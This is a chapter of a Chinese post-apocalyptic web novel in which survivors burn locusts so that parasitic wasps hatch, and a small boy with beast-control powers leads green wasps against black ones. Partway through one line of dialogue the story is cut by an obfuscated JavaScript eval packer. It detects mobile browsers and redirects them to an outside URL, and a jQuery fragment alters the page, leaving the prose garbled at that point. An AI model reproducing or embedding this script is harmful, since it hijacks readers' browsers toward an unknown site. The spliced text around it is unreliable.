他靠在桌边,低声说:“蝗虫是腐化种,谁知道寄生的蜂卵会不会也是腐化种?要是孵出比蝗虫还可怕的东西……” 他停顿一下,坦诚道:“所以,咱们要留后手,密密麻麻的虫群,我不相信孵化出来的全是腐化种,能让江泽帮忙吗?用他的异能控制一部分变异蜂虫。” 江砚毫不犹豫点头:“当然没问题,毕竟我们是一条船上的人。” 萧远舟嘴角上扬:“兄弟,谢了。” 他语气轻松了些:“说真的,当年在学校,我还以为你顶着一张漂亮脸蛋,但只会摆大少爷架子的死装男呢,是我看走眼了。” 江砚语气里带了点冷意:“死装男?” “不不不!”萧远舟连忙摆手,脸上的笑有点僵,“是我嘴欠,都是误会,误会。” 江砚冷笑一声:“没关系,当初你在我眼里也是脑子装着浆糊、除了打架斗殴啥也不会的……蠢货。” “蠢货就蠢货吧,你一张嘴够毒的。不过,如今可不一样了。” “嗯,你确实比以前靠谱多了。”江砚难得语气认真。 萧远舟胳膊肘轻轻撞了他一下:“你也不赖。事实证明,你当年读的书本没白瞎,真管用,换了我,压根不知道寄生蜂是啥玩意儿。” “灾难嘛。”江砚声音轻了些,“逼得人成长,不然就只能等死。” “哎,我倒是无所谓。反正都是当牛马。倒是你江少爷,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252013|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前锦衣玉食的,如今跟着我钻破屋、干农活的亏大了。” “能活着,我就不亏。” 萧远舟重重拍了拍他的后背,力道大得让江砚踉跄了半步:“行啊你,江砚,这话我爱听。” 江砚眼底却没了往日的疏离:“离我远点,少动手动脚。” 小卷毛见状,奶声奶气地喊:“不许碰爸爸,爸爸生气,窝也会生气哒。” 江砚轻声安抚炸毛的幼崽:“没事。” 小卷毛紧紧搂住江砚的脖子,像只护着主人的小奶猫:“拍爸爸,你下次不许这样啦,要轻轻哒。” 萧远舟举了举手作投降状:“好好好,我错了,行不行。” “嗯,江泽原谅你。” 而后,众人迅速行动起来。 萧远舟将一堆红色晶核,摆在柒莹面前:“老二,交给你了,省着点用,这是我最后的存货了。” 柒莹翻了个白眼,暗自想,萧远舟真是抠门儿,有点儿晶石都藏起来了,这家伙指定还藏了不少,满屋子到处藏,有一回她都在沙发缝里掏出来了五颗呢。 她摆摆手:“我心里有数。不过,我可能撑不了多久,这几日消耗太大,异能恢复跟不上。” “没关系,咱们慢慢来,你小心点,火的温度不用太高,别把基地烧了,能弄死一点是一点。” “我的起火范围,只能在咱们房子周围这几丈地,再远就控不住了,热量根本传不过去。” 汪成文说道:“那得烧几天几夜,咱们耗不起。” “耗不起就不耗。”萧远舟突然拎起墙角的钢管,猛往地上一砸,发出砰的一声巨响:“那就把它们都吸引过来。” “对,就这么办。” 柒莹闭上眼,手覆在晶核上。房子周围很快亮起许多的火苗,像屋檐下挂着的大灯笼,微弱却稳定。 与此同时,屋内响起震耳欲聋的敲击声,钢管砸在铁皮桶上,哐当声震得卷帘门发颤。蝗虫被声响吸引,层层叠叠地涌向小楼,很快堆积成一座蠕动的小山。 时间一分一秒流逝,晶核的红光逐渐暗淡。柒莹额角渗出细密的汗珠,鬓发被打湿,嘴唇抿得发白,却始终没有睁眼。 六小时后,一声脆响从虫堆中炸开。紧接着,噼啪声连成一片,寄生蜂冲破蝗虫躯体,黑色与零星的绿光交织的虫影中翻飞。 “成了,成了。”李福虚弱地低呼。 就在这时,柒莹异能透支严重,身子一软,直挺挺地栽倒在地。桌上的晶核已经变得漆黑如炭。她两眼一翻,彻底失去了意识。 萧远舟顾不上照看她,几步冲上二楼。江砚正抱着小卷毛站在窗前,外面的蜂虫大战清晰可见。 萧远舟走过去,放缓了声音:“江泽,准备好了吗?” 小卷毛转过头,小脸蛋写满“我很严肃”四个大字。他用奶凶凶的语气,说出最坚定的宣言:“我晓得,我会打洗大坏虫。” 下一秒,就是一副“我要准备发功了,你不许打扰我”的样子。 孩子的瞳孔泛起淡淡的金色,他目光望向窗外,小绿蜂原本散乱的队形瞬间收拢,连它们的身上都泛起了金色微光,与小卷毛的瞳孔遥相呼应。 绿点蜂虫数量太少,一开始就像几粒散沙,几乎被围得快没了活路。 但随着小卷毛瞳孔里金光越来越亮,小绿蜂身上的金光也开始变亮。 接着,原本处于下风的小绿蜂,突然变得迅猛无比,尾部绿光裹着金点,撞向黑蜂时还带着破风声。 更奇怪的是,黑蜂好像很怕这金光,只要翅膀被扫到,甲壳就冒烟。 一只小绿蜂带着金芒冲破无数黑蜂的围攻,尾部金光洒下,烫穿了黑蜂翅膀。其他绿点蜂见状纷纷效仿,金色微光连成光网,在黑蜂群里撕开个大口子。 黑蜂开始慌乱,撤退时互相碰撞,反倒给小绿蜂机会。那些沾了金光的黑蜂,翅膀很快焦黑蜷曲,掉在地上挣扎几下就死了。 没过多久,密密麻麻的黑蜂群就稀了。最后一只黑蜂想逃,被几只小绿蜂追上,金光落在它背上,青烟一起,黑蜂就直直掉进尸堆。 小卷毛金色瞳孔慢慢暗下去,小手软软垂下:“哇,好奇怪,头头怎么晕晕啦,像转圈圈哇,好玩,好好玩~。” 幼崽因为耗尽异能,小脑袋软趴趴倒在江砚怀里陷入了昏迷。 窗外,小绿蜂身上金光渐退,只剩尾部绿点闪烁。 萧远舟看的是目瞪口呆:“这,这么猛啊,怪不得你二伯要抓他做研究,这他妈比我还开挂啊。” 萧远舟本来以为自己觉醒了雷系异能,还揣了虚拟光脑,咋说都算拿了爽文男主剧本,没想到,他是男主的爹。 念头刚出,心里小人儿使劲摇头,不对不对,这比喻不吉利。小说里,男主他爹十个死八个,剩下俩不是疯了就是入魔了,这活儿可不能干。 江砚看着一脸傻乎乎的萧远舟:“你在想什么,有这时间,不如赶紧把外面处理了。” 萧远舟这才回过神来,赶紧按下通讯器:“各据点听着,蝗虫基本清干净了,都出来吧,带好家伙清理基地,另外有红色晶核的都给我送主楼来,急用。” 随后,萧远舟从包里掏出两颗黄色石头:“御兽异能耗精神系,等孩子醒了,让娃吸收了缓缓头晕。” 不久,工厂、宿舍和瞭望塔方向陆续有人影出现。每个人脸上都带着疲惫,却难掩劫后余生的庆幸。 萧远舟下楼时,陈凯和李阳瑞已经捧着几颗大小不一、光泽暗淡的红色晶核跑来。 “大伯啊,我的亲大伯哎,你咋就这么走了啊。” 李阳瑞冲到躺在地上的李福跟前,扑通一声跪倒在地,眼泪鼻涕糊了满脸:“您怎么就这么狠心地走了啊,您睁开眼看看侄子啊。” “苍天啊,大地啊,怎么就留我一人在这吃人的世道里挣扎啊,这世道不公啊,咋就让您活生生饿死了啊。” 他颤抖着手,悲悲切切伸向李福的鼻子,声音哽咽:“大伯,您就让侄子,最后再尽一次孝,送您老人家最后一程。” 他的指尖刚要碰到李福的鼻下,地上那具尸体突然睁开眼,怒喝:“小兔崽子,你给老子哭丧呢,老子就是饿晕了喘口气,你倒好,差点把老子真送走了。” 李阳瑞愣住,结结巴巴:“大、大伯,你没死啊,那你怎么躺在这儿……” “我躺会儿怎么了?”李福捂着肚子瞪他,“有这哭丧的功夫,不如去后厨看看有没有剩饭。” 汪成文踢了踢李阳瑞的后背:“行了,你大伯是饿晕的,又不是驾崩了。赶紧起来找吃的去。” 他瞥了眼工厂方向,意味深长地说:“还是你小子运气好,躲工厂去了。我刚才看从厂里出来的人个个精神抖擞,肯定没少吃吧?” 咚一声,刚躺下的李福又猛地坐起来,急道:“吃、吃了多少,可不能瞎糟蹋啊,那是过冬的粮食啊。” “大伯你放心。”李阳瑞连忙摆手,“就啃了两筐生萝卜,我和凯哥盯得紧,谁也不敢多拿。” 李福这才松了口气,又咚地躺回去,有气无力地挥挥手:“那还愣着干什么,赶紧找吃的去,再磨蹭,人真要饿死在这儿了。”